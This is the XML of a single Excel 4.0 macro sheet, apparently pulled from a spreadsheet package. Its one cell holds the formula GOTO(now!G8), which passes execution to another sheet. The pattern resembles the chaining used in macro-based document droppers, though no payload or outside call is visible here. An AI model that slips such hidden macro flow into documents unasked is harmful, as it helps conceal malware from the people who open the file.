<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{DE64437D-E81C-46EE-855D-0EAFB901A6FF}"><dimension ref="A11"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"><selection activeCell="H28" sqref="H28"/></sheetView></sheetViews><sheetFormatPr defaultColWidth="41" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="41" style="1"/></cols><sheetData><row r="11" spans="1:1" x14ac:dyDescent="0.25"><c r="A11" s="1" t="e"><f>GOTO(now!G8)</f><v>#N/A</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/></xm:macrosheet>

Open this report in the interactive analyzer, or submit your own file for analysis.